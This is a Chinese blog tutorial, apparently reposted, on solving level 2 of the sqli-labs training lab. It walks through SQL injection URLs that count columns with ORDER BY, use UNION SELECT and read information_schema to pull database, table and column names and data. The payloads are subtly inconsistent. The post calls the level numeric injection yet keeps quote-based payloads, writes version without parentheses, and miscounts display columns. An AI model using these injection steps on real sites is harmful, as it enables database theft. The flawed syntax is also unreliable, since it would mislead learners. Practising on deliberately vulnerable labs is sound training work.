sqli-labs第二關 詳解


學會了第一關,時隔多天來到了第二關,怎么說了沒有看wp就給做出來了。

首先,我是自己先判斷了下,這個是什么注入

?id=1'  不行

?id=1' or '1'='1--+  也不行

然后又嘗試了下

?id=1 and 1=1  頁面顯示正常

?id=1 and 1=2  頁面又錯誤回顯

然后這就是數字注入了

於是我們去查庫,跟第一關的思路是一樣的。然后就爆出了庫。如果不懂的可以點這個鏈接。

 https://www.cnblogs.com/junlebao/p/13758919.html

 sql注入一般步驟:

第一步:通過特殊的數據庫查詢語句

第二步:在數據庫的錯誤返回中找到sql漏洞

第三步:利用sql語句猜解管理人員信息並登錄管理員后台

判斷注入類型

數字型注入

1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,因為有一個多余的"單引號"使查詢語句錯誤

2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1時,沒有報錯

3. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2時,由於1=2不成立,也會報錯

滿足這三個,基本上就是數字注入了

字符型注入

1. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1'時,數據庫認為id叫做1'。查詢之后發現沒有這個id而返回錯誤。(在字符型注入中,需要考慮引號的閉合)

2. url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' and '1'='1 在'1'='1之后沒有加上'是因為傳參時輸入的內容已經被' '包圍。

后台查詢列數

使用order by試出數據庫列數

url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' order by 數字 (如果試4時有錯誤,3時正確,那么列數為3)

找顯示位

使用union select找出會返回客戶端並顯示的列。如果有3列時,應該這么寫

url為 http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,3

加入顯示位是3,這就意味着數據庫開放了5個“窗口”用來顯示內容,用查詢到的數據,在這些窗口顯示數據

查庫名

聯合查詢:select database();

下面是查看數據庫的版本和數據庫信息

假如顯示位是3,http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,version,database()

查表名

找到庫名以后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,table_name from information_schema.tables where table_schema='庫名' (如果庫名是字符型,此處庫名要轉成十六進制)

information_schema:

這是一個mysql自帶的庫,其中保存着關於mysql服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表列的數據類型與訪問權限等,所以我們查詢這個庫

查列名

找到表之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,column_name from information_schema.columns where table_name='表名' (如果表名是字符型,此處庫名要轉成十六進制)

如果表數或列數過多,可以在最后使用limit加上limit 0,5相當於檢索1-5條信息

查具體數據

找到列之后,使用http://127.0.0.1/sqli-labs/Less-2/?id=1' union select 1,2,group_concat("要查詢的數據") from 表名


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM